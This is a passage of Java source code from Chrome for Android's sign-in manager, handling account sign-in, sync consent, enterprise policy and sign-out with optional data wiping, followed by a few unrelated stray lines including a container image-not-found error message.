(ChromeFeatureList.isEnabled(ChromeFeatureList.DEPRECATE_MENAGERIE_API)) { mIdentityManager.forceRefreshOfExtendedAccountInfo(accountInfos); } } /** * Extracts the domain name of a given account's email. */ @Override public String extractDomainName(String accountEmail) { return SigninManagerImplJni.get().extractDomainName(accountEmail); }; /** * Returns the IdentityManager used by SigninManager. */ @Override public IdentityManager getIdentityManager() { return mIdentityManager; } /** * Notifies the SigninManager that the First Run check has completed. * * The user will be allowed to sign-in once this is signaled. */ @Override public void onFirstRunCheckDone() { mFirstRunCheckIsPending = false; if (isSignInAllowed()) { notifySignInAllowedChanged(); } } /** * Returns true if signin can be started now. */ @Override public boolean isSignInAllowed() { return !mFirstRunCheckIsPending && mSignInState == null && mSigninAllowedByPolicy && mIdentityManager.getPrimaryAccountInfo(ConsentLevel.SYNC) == null && isSigninSupported(); } /** * Returns true if signin is disabled by policy. */ @Override public boolean isSigninDisabledByPolicy() { return !mSigninAllowedByPolicy; } /** * @return Whether true if the current user is not demo user and the user has a reasonable * Google Play Services installed. */ @Override public boolean isSigninSupported() { return !ApiCompatibilityUtils.isDemoUser() && isGooglePlayServicesPresent(); } /** * @return Whether force sign-in is enabled by policy. */ @Override public boolean isForceSigninEnabled() { return SigninManagerImplJni.get().isForceSigninEnabled(mNativeSigninManagerAndroid); } /** * Registers a SignInStateObserver to be notified when the user signs in or out of Chrome. */ @Override public void addSignInStateObserver(SignInStateObserver observer) { mSignInStateObservers.addObserver(observer); } /** * Unregisters a SignInStateObserver to be notified when the user signs in or out of Chrome. */ @Override public void removeSignInStateObserver(SignInStateObserver observer) { mSignInStateObservers.removeObserver(observer); } @Override public void addSignInAllowedObserver(SignInAllowedObserver observer) { mSignInAllowedObservers.addObserver(observer); } @Override public void removeSignInAllowedObserver(SignInAllowedObserver observer) { mSignInAllowedObservers.removeObserver(observer); } private void notifySignInAllowedChanged() { PostTask.postTask(UiThreadTaskTraits.DEFAULT, () -> { for (SignInAllowedObserver observer : mSignInAllowedObservers) { observer.onSignInAllowedChanged(); } }); } /** * Starts the sign-in flow, and executes the callback when finished. * * The sign-in flow goes through the following steps: * * - Wait for AccountTrackerService to be seeded. * - Complete sign-in with the native IdentityManager. * - Call the callback if provided. * * @param accountInfo The account to sign in to. * @param callback Optional callback for when the sign-in process is finished. */ @Override public void signin(CoreAccountInfo accountInfo, @Nullable SignInCallback callback) { mAccountTrackerService.seedAccountsIfNeeded( () -> { signinInternal(SignInState.createForSignin(accountInfo, callback)); }); } /** * Starts the sign-in flow, enables sync and executes the callback when finished. * * The sign-in flow goes through the following steps: * * - Wait for AccountTrackerService to be seeded. * - Wait for policy to be checked for the account. * - If managed, wait for the policy to be fetched. * - Complete sign-in with the native IdentityManager. * - Enable sync. * - Call the callback if provided. * * @param accessPoint {@link SigninAccessPoint} that initiated the sign-in flow. * @param accountInfo The account to sign in to. * @param callback Optional callback for when the sign-in process is finished. */ @Override public void signinAndEnableSync(@SigninAccessPoint int accessPoint, CoreAccountInfo accountInfo, @Nullable SignInCallback callback) { mAccountTrackerService.seedAccountsIfNeeded(() -> { signinInternal( SignInState.createForSigninAndEnableSync(accessPoint, accountInfo, callback)); }); } /** * @deprecated use {@link #signinAndEnableSync(int, CoreAccountInfo, SignInCallback)} instead. * TODO(crbug.com/1002056): Remove this version after migrating all callers to CoreAccountInfo. * * Starts the sign-in flow, and executes the callback when finished. * * The sign-in flow goes through the following steps: * * - Wait for AccountTrackerService to be seeded. * - Wait for policy to be checked for the account. * - If managed, wait for the policy to be fetched. * - Complete sign-in with the native IdentityManager. * - Call the callback if provided. * * @param accessPoint {@link SigninAccessPoint} that initiated the sign-in flow. * @param account The account to sign in to. * @param callback Optional callback for when the sign-in process is finished. */ @Override @Deprecated public void signinAndEnableSync(@SigninAccessPoint int accessPoint, Account account, @Nullable SignInCallback callback) { mAccountTrackerService.seedAccountsIfNeeded(() -> { final CoreAccountInfo accountInfo = mIdentityManager .findExtendedAccountInfoForAccountWithRefreshTokenByEmailAddress( account.name); signinInternal( SignInState.createForSigninAndEnableSync(accessPoint, accountInfo, callback)); }); } private void signinInternal(SignInState signinState) { assert isSignInAllowed() : "Sign-in isn't allowed!"; assert signinState != null : "SigninState shouldn't be null!"; if (mSignInState != null) { Log.w(TAG, "Ignoring sign-in request as another sign-in request is pending."); if (signinState.mCallback != null) signinState.mCallback.onSignInAborted(); return; } if (mFirstRunCheckIsPending) { Log.w(TAG, "Ignoring sign-in request until the First Run check completes."); if (signinState.mCallback != null) signinState.mCallback.onSignInAborted(); return; } mSignInState = signinState; notifySignInAllowedChanged(); if (mSignInState.shouldTurnSyncOn()) { Log.d(TAG, "Checking if account has policy management enabled"); fetchAndApplyCloudPolicy( mSignInState.mCoreAccountInfo, this::finishSignInAfterPolicyEnforced); } else { // Sign-in without sync doesn't enforce enterprise policy, so skip that step. finishSignInAfterPolicyEnforced(); } } /** * Finishes the sign-in flow. If the user is managed, the policy should be fetched and enforced * before calling this method. */ @VisibleForTesting void finishSignInAfterPolicyEnforced() { assert mSignInState != null : "SigninState shouldn't be null!"; assert !mIdentityManager.hasPrimaryAccount() : "The user should not be already signed in"; // Setting the primary account triggers observers which query accounts from IdentityManager. // Reloading before setting the primary ensures they don't get an empty list of accounts. mIdentityMutator.reloadAllAccountsFromSystemWithPrimaryAccount( mSignInState.mCoreAccountInfo.getId()); @ConsentLevel int consentLevel = mSignInState.shouldTurnSyncOn() ? ConsentLevel.SYNC : ConsentLevel.SIGNIN; if (!mIdentityMutator.setPrimaryAccount( mSignInState.mCoreAccountInfo.getId(), consentLevel)) { Log.w(TAG, "Failed to set the PrimaryAccount in IdentityManager, aborting signin"); abortSignIn(); return; } if (mSignInState.shouldTurnSyncOn()) { // TODO(https://crbug.com/1091858): Remove this after migrating the legacy code that // uses the sync account before the native is loaded. SigninPreferencesManager.getInstance().setLegacySyncAccountEmail( mSignInState.mCoreAccountInfo.getEmail()); // Cache the signed-in account name. This must be done after the native call, otherwise // sync tries to start without being signed in the native code and crashes. mAndroidSyncSettings.updateAccount( AccountUtils.createAccountFromName(mSignInState.mCoreAccountInfo.getEmail())); boolean atLeastOneDataTypeSynced = !ProfileSyncService.get().getChosenDataTypes().isEmpty(); if (!ChromeFeatureList.isEnabled(ChromeFeatureList.MOBILE_IDENTITY_CONSISTENCY) || atLeastOneDataTypeSynced) { // Turn on sync only when user has at least one data type to sync, this is // consistent with {@link ManageSyncSettings#updataSyncStateFromSelectedModelTypes}, // in which we turn off sync we stop sync service when the user toggles off all the // sync types. mAndroidSyncSettings.enableChromeSync(); } RecordUserAction.record("Signin_Signin_Succeed"); RecordHistogram.recordEnumeratedHistogram("Signin.SigninCompletedAccessPoint", mSignInState.getAccessPoint(), SigninAccessPoint.MAX); RecordHistogram.recordEnumeratedHistogram("Signin.SigninReason", SigninReason.SIGNIN_PRIMARY_ACCOUNT, SigninReason.MAX_VALUE + 1); } if (mSignInState.mCallback != null) { mSignInState.mCallback.onSignInComplete(); } Log.d(TAG, "Signin completed."); mSignInState = null; notifyCallbacksWaitingForOperation(); notifySignInAllowedChanged(); for (SignInStateObserver observer : mSignInStateObservers) { observer.onSignedIn(); } } /** * Implements {@link IdentityManager.Observer} */ @Override public void onPrimaryAccountChanged(PrimaryAccountChangeEvent eventDetails) { switch (eventDetails.getEventTypeFor(ConsentLevel.SYNC)) { case PrimaryAccountChangeEvent.Type.SET: // Simply verify that the request is ongoing (mSignInState != null), as only // SigninManager should update IdentityManager. This is triggered by the call to // IdentityMutator.setPrimaryAccount assert mSignInState != null; break; case PrimaryAccountChangeEvent.Type.CLEARED: // This event can occur in two cases: // - Syncing account is signed out. User may choose to delete data from UI prompt // if account is not managed. In this case mSigninOutState is set. // - RevokeSyncConsent() is called in native code. In this case the user may still // be signed in with Consentlevel::SIGNIN and just lose sync privileges. // If the account is managed then the data should be wiped. // // TODO(https://crbug.com/1173016): It might be too late to get management status // here. ProfileSyncService should call RevokeSyncConsent/ClearPrimaryAccount // in SigninManager instead. if (mSignOutState == null) { mSignOutState = new SignOutState(null, getManagementDomain() != null); } // TODO(https://crbug.com/1091858): Remove this after migrating the legacy code that // uses the sync account before the native is // loaded. SigninPreferencesManager.getInstance().setLegacySyncAccountEmail(null); disableSyncAndWipeData(mSignOutState.mShouldWipeUserData, this::finishSignOut); break; case PrimaryAccountChangeEvent.Type.NONE: if (eventDetails.getEventTypeFor(ConsentLevel.SIGNIN) == PrimaryAccountChangeEvent.Type.CLEARED) { if (mSignOutState == null) { // Don't wipe data as the user is not syncing. mSignOutState = new SignOutState(null, false); } disableSyncAndWipeData(mSignOutState.mShouldWipeUserData, this::finishSignOut); } break; } } /** * Schedules the runnable to be invoked after currently ongoing a sign-in or sign-out operation * is finished. If there's no operation is progress, posts the callback to the UI thread right * away. */ @Override @MainThread public void runAfterOperationInProgress(Runnable runnable) { ThreadUtils.assertOnUiThread(); boolean isOperationInProgress = mSignInState != null || mSignOutState != null; if (isOperationInProgress) { mCallbacksWaitingForPendingOperation.add(runnable); return; } PostTask.postTask(UiThreadTaskTraits.DEFAULT, runnable); } private void notifyCallbacksWaitingForOperation() { ThreadUtils.assertOnUiThread(); for (Runnable callback : mCallbacksWaitingForPendingOperation) { PostTask.postTask(UiThreadTaskTraits.DEFAULT, callback); } mCallbacksWaitingForPendingOperation.clear(); } /** * Signs out of Chrome. This method clears the signed-in username, stops sync and sends out a * sign-out notification on the native side. * * @param signoutSource describes the event driving the signout (e.g. * {@link SignoutReason.USER_CLICKED_SIGNOUT_SETTINGS}). * @param signOutCallback Callback to notify about the sign-out progress. * @param forceWipeUserData Whether user selected to wipe all device data. */ @Override public void signOut(@SignoutReason int signoutSource, SignOutCallback signOutCallback, boolean forceWipeUserData) { // Only one signOut at a time! assert mSignOutState == null; // User data should not be wiped if the user is not syncing. assert mIdentityManager.hasPrimaryAccount() || !forceWipeUserData; // Grab the management domain before nativeSignOut() potentially clears it. String managementDomain = getManagementDomain(); mSignOutState = new SignOutState(signOutCallback, forceWipeUserData || managementDomain != null); Log.d(TAG, "Signing out, management domain: " + managementDomain); // User data will be wiped in disableSyncAndWipeData(), called from // onPrimaryAccountChanged(). mIdentityMutator.clearPrimaryAccount(signoutSource, // Always use IGNORE_METRIC for the profile deletion argument. Chrome // Android has just a single-profile which is never deleted upon // sign-out. SignoutDelete.IGNORE_METRIC); } /** * Returns the management domain if the signed in account is managed, otherwise returns null. */ @Override public String getManagementDomain() { return SigninManagerImplJni.get().getManagementDomain(mNativeSigninManagerAndroid); } /** * Aborts the current sign in. * * Package protected to allow dialog fragments to abort the signin flow. */ private void abortSignIn() { // Ensure this function can only run once per signin flow. SignInState signInState = mSignInState; assert signInState != null; mSignInState = null; notifyCallbacksWaitingForOperation(); if (signInState.mCallback != null) { signInState.mCallback.onSignInAborted(); } stopApplyingCloudPolicy(); Log.d(TAG, "Signin flow aborted."); notifySignInAllowedChanged(); } @VisibleForTesting void finishSignOut() { // Should be set at start of sign-out flow. assert mSignOutState != null; SignOutCallback signOutCallback = mSignOutState.mSignOutCallback; mSignOutState = null; if (signOutCallback != null) signOutCallback.signOutComplete(); notifyCallbacksWaitingForOperation(); for (SignInStateObserver observer : mSignInStateObservers) { observer.onSignedOut(); } } @CalledByNative private void onSigninAllowedByPolicyChanged(boolean newSigninAllowedByPolicy) { mSigninAllowedByPolicy = newSigninAllowedByPolicy; notifySignInAllowedChanged(); } @Override public void onAccountsCookieDeletedByUserAction() { if (mIdentityManager.getPrimaryAccountInfo(ConsentLevel.SIGNIN) != null && mIdentityManager.getPrimaryAccountInfo(ConsentLevel.SYNC) == null) { // Clearing account cookies should trigger sign-out only when user is signed in // without sync. // If the user consented for sync, then the user should not be signed out, // since account cookies will be rebuilt by the account reconcilor. signOut(SignoutReason.USER_DELETED_ACCOUNT_COOKIES); } } /** * Verifies if the account is managed. Callback may be called either * synchronously or asynchronously depending on the availability of the * result. * @param email An email of the account. * @param callback The callback that will receive true if the account is managed, false * otherwise. */ // TODO(crbug.com/1002408) Update API to use CoreAccountInfo instead of email @Override public void isAccountManaged(String email, final Callback<Boolean> callback) { assert email != null; CoreAccountInfo account = mIdentityManager.findExtendedAccountInfoForAccountWithRefreshTokenByEmailAddress( email); assert account != null; SigninManagerImplJni.get().isAccountManaged(mNativeSigninManagerAndroid, account, callback); } private boolean isGooglePlayServicesPresent() { return !mExternalAuthUtils.isGooglePlayServicesMissing( ContextUtils.getApplicationContext()); } private void fetchAndApplyCloudPolicy(CoreAccountInfo account, final Runnable callback) { SigninManagerImplJni.get().fetchAndApplyCloudPolicy( mNativeSigninManagerAndroid, account, callback); } private void stopApplyingCloudPolicy() { SigninManagerImplJni.get().stopApplyingCloudPolicy(mNativeSigninManagerAndroid); } private void disableSyncAndWipeData( boolean shouldWipeUserData, final Runnable wipeDataCallback) { Log.d(TAG, "On native signout, wipe user data: " + mSignOutState.mShouldWipeUserData); if (mSignOutState.mSignOutCallback != null) { mSignOutState.mSignOutCallback.preWipeData(); } mAndroidSyncSettings.updateAccount(null); if (shouldWipeUserData) { SigninManagerImplJni.get().wipeProfileData( mNativeSigninManagerAndroid, wipeDataCallback); } else { SigninManagerImplJni.get().wipeGoogleServiceWorkerCaches( mNativeSigninManagerAndroid, wipeDataCallback); } mAccountTrackerService.onAccountsChanged(); } @VisibleForTesting IdentityMutator getIdentityMutatorForTesting() { return mIdentityMutator; } /** * Contains all the state needed for signin. This forces signin flow state to be * cleared atomically, and all final fields to be set upon initialization. */ private static class SignInState { private final @SigninAccessPoint Integer mAccessPoint; final SignInCallback mCallback; /** * Contains the full Core account info, which can be retrieved only once account seeding is * complete */ final CoreAccountInfo mCoreAccountInfo; /** * State for the sign-in flow that doesn't enable sync. * * @param accountInfo The account to sign in to. * @param callback Called when the sign-in process finishes or is cancelled. Can be null. */ static SignInState createForSignin( CoreAccountInfo accountInfo, @Nullable SignInCallback callback) { return new SignInState(null, accountInfo, callback); } /** * State for the sync consent flow. * * @param accessPoint {@link SigninAccessPoint} that has initiated the sign-in. * @param accountInfo The account to sign in to. * @param callback Called when the sign-in process finishes or is cancelled. Can be null. */ static SignInState createForSigninAndEnableSync(@SigninAccessPoint int accessPoint, CoreAccountInfo accountInfo, @Nullable SignInCallback callback) { return new SignInState(accessPoint, accountInfo, callback); } private SignInState(@SigninAccessPoint Integer accessPoint, CoreAccountInfo accountInfo, @Nullable SignInCallback callback) { assert accountInfo != null : "CoreAccountInfo must be set and valid to progress."; mAccessPoint = accessPoint; mCoreAccountInfo = accountInfo; mCallback = callback; } /** * Getter for the access point that initiated sync consent flow. Shouldn't be called if * {@link #shouldTurnSyncOn()} is false. */ @SigninAccessPoint int getAccessPoint() { assert mAccessPoint != null : "Not going to enable sync - no access point!"; return mAccessPoint; } /** * Whether this sign-in flow should also turn on sync. */ boolean shouldTurnSyncOn() { return mAccessPoint != null; } } /** * Contains all the state needed for sign out. Like SignInState, this forces flow state to be * cleared atomically, and all final fields to be set upon initialization. */ private static class SignOutState { final @Nullable SignOutCallback mSignOutCallback; final boolean mShouldWipeUserData; /** * @param signOutCallback Hooks to call before/after data wiping phase of sign-out. * @param shouldWipeUserData Flag to wipe user data as requested by the user and enforced * for managed users. */ SignOutState(@Nullable SignOutCallback signOutCallback, boolean shouldWipeUserData) { this.mSignOutCallback = signOutCallback; this.mShouldWipeUserData = shouldWipeUserData; } } @NativeMethods interface Natives { boolean isSigninAllowedByPolicy(long nativeSigninManagerAndroid); boolean isForceSigninEnabled(long nativeSigninManagerAndroid); String extractDomainName(String email); void fetchAndApplyCloudPolicy( long nativeSigninManagerAndroid, CoreAccountInfo account, Runnable callback); void stopApplyingCloudPolicy(long nativeSigninManagerAndroid); void isAccountManaged(long nativeSigninManagerAndroid, CoreAccountInfo account, Callback<Boolean> callback); String getManagementDomain(long nativeSigninManagerAndroid); // Temporary code to handle rollback for MobileIdentityConsistency. // TODO(https://crbug.com/1065029): Remove when the flag is removed. void logOutAllAccountsForMobileIdentityConsistencyRollback(long nativeSigninManagerAndroid); void wipeProfileData(long nativeSigninManagerAndroid, Runnable callback); void wipeGoogleServiceWorkerCaches(long nativeSigninManagerAndroid, Runnable callback); } }
12,421
2,381
{"errorDetail":{"message":"Error: image cccxxx/xxxccc:latest not found"},"error":"Error: image cccxxx/xxxccc:latest not found"}
40